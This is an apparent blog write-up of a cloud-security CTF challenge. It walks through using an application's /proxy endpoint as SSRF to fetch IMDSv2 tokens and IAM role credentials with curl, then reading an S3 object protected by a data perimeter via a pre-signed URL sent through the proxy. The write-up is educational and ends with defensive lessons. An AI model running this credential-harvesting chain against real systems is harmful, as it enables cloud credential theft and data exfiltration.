· 5 min read

Perimeter Leak: Walking Through an AWS Data Perimeter Failure Mode


Some CTFs are about finding a vulnerability.

Others are about realizing that nothing is broken — and that the system is behaving exactly as designed.

The Perimeter Leak challenge from the Cloud Security Championship was firmly in the second category. What made it interesting wasn’t exploitation, but understanding how AWS data perimeters enforce trust across application, network, and identity layers.

This post is a walkthrough of the actual investigation path, including the commands used along the way.


Phase 0 – Finding the Real Entry Point: /proxy #

The challenge didn’t start with AWS credentials or S3.

It started with a Spring Boot application exposing Actuator endpoints:

curl -u ctf:*** https://challenge01.cloud-champions.com/actuator

Reviewing mappings revealed something far more interesting than Actuator itself:

/proxy?url=...

This endpoint allowed the server to make outbound HTTP requests, with restrictions:

  • Targets must be IP addresses, or
  • Domains under amazonaws.com

At first glance, this looked restrictive.

But one thing mattered more than what it could reach:

The proxy lived inside AWS.

That meant any request made through it inherited the server’s network position.


Phase 1 – SSRF as Network Delegation #

The proxy wasn’t powerful because it exposed data.

It was powerful because it allowed delegating network origin.

Instead of asking:

“What endpoints can I reach?”

The right question became:

“What trust boundary does this server already sit inside?”

That reframing guided everything else.

Takeaway
SSRF is about where, not what.


Phase 2 – IMDSv2 via the Proxy #

Instance metadata was protected by IMDSv2, as expected.

First, a token had to be fetched:

curl -u ctf:*** \
  -X PUT \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token"

Then the token could be replayed to access metadata:

curl -u ctf:*** \
  -H "X-aws-ec2-metadata-token: $TOKEN" \
  "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

And finally, retrieve the role credentials:

curl -u ctf:*** \
  -H "X-aws-ec2-metadata-token: $TOKEN" \
  "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

This was not an IMDSv2 bypass.

Important distinction
IMDSv2 prevents accidental exposure. It does not prevent intentional request forwarding.


Phase 3 – Valid AWS Credentials, Still No Data #

With real credentials set locally, basic enumeration worked:

aws s3 ls s3://challenge01-470f711

Output revealed:

PRE private/
hello.txt

And inside private/:

aws s3 ls s3://challenge01-470f711/private/
flag.txt

But reading the object failed:

aws s3 cp s3://challenge01-470f711/private/flag.txt -
AccessDenied: explicit deny in resource-based policy

Direct HTTPS access failed as well:

curl https://challenge01-470f711.s3.amazonaws.com/private/flag.txt

403. Every time.

At this point:

  • Identity was valid
  • Object existed
  • Permissions looked correct

Yet access was denied.


Phase 4 – The Data Perimeter Clicks #

This was the turning point.

The bucket policy wasn’t enforcing who could read the object.

It was enforcing where the request originated from.

The bucket didn’t trust me. It trusted the network path.

Requests coming from outside the trusted AWS boundary were denied — even if:

  • The role was correct
  • The signature was valid
  • The action was allowed

That’s the essence of an AWS data perimeter.


Phase 5 – Why Pre-Signed URLs Still Failed #

Pre-signed URLs were generated:

aws s3 presign s3://challenge01-470f711/private/flag.txt

But using them locally still failed.

This is expected behavior.

A pre-signed URL:

  • Delegates authorization
  • Does not override:
    • Bucket policies
    • Network conditions
    • Perimeter enforcement

So the missing piece wasn’t authorization.

It was origin.


Phase 6 – Delegated Exfiltration via the Proxy #

The final insight tied everything together:

I didn’t need to read the object. I needed the server to read it for me.

The proxy already:

  • Lived inside the trusted network
  • Was allowed to reach S3

The pre-signed URL:

  • Delegated permission to read the object

The final step was simply composing those two facts correctly.

Because the pre-signed URL itself contained query parameters, it had to be URL-encoded before being passed to the proxy.

Once the proxy executed the request from inside the perimeter, the object was returned.

No bypass.
No misconfiguration.
Just allowed behaviors combined.


Architecture (ASCII Diagram) #

+-------------------+
|  User / Attacker  |
+-------------------+
          |
          | SSRF
          v
+-----------------------------+
|  Spring Boot /proxy         |
|  (inside AWS network)       |
+-----------------------------+
          |
          | IMDSv2
          v
+-------------------+
|  Instance Metadata|
+-------------------+
          |
          | Role credentials
          v
+-----------------------------+
|  S3 Bucket                  |
|  (Data Perimeter enforced)  |
+-----------------------------+
          |
          | Object response
          v
+-------------------+
|  User / Attacker  |
+-------------------+

The critical control is not IAM.

It’s where the request originates.


Lessons That Matter Beyond the CTF #

  1. Data perimeters change the rules. IAM answers who. Perimeters answer from where. Both must align.
  2. SSRF is a cloud-native risk. In cloud environments, SSRF is about network trust delegation, not just metadata.
  3. IMDSv2 is necessary, not sufficient. IMDSv2 works — but it assumes applications are trusted not to forward requests.
  4. Pre-signed URLs delegate; they don’t bypass. They delegate authorization, but they don’t override policies or perimeter enforcement.

References #


Final Thoughts #

What made this challenge memorable wasn’t the flag.

It was the reminder that:

Cloud security failures rarely live in one layer.
They emerge between layers.

Identity.
Network.
Application logic.
Delegation.

Each was “correct” in isolation — but together, they formed a gap.

Understanding those boundaries — and how they compose — is far more valuable than any single exploit.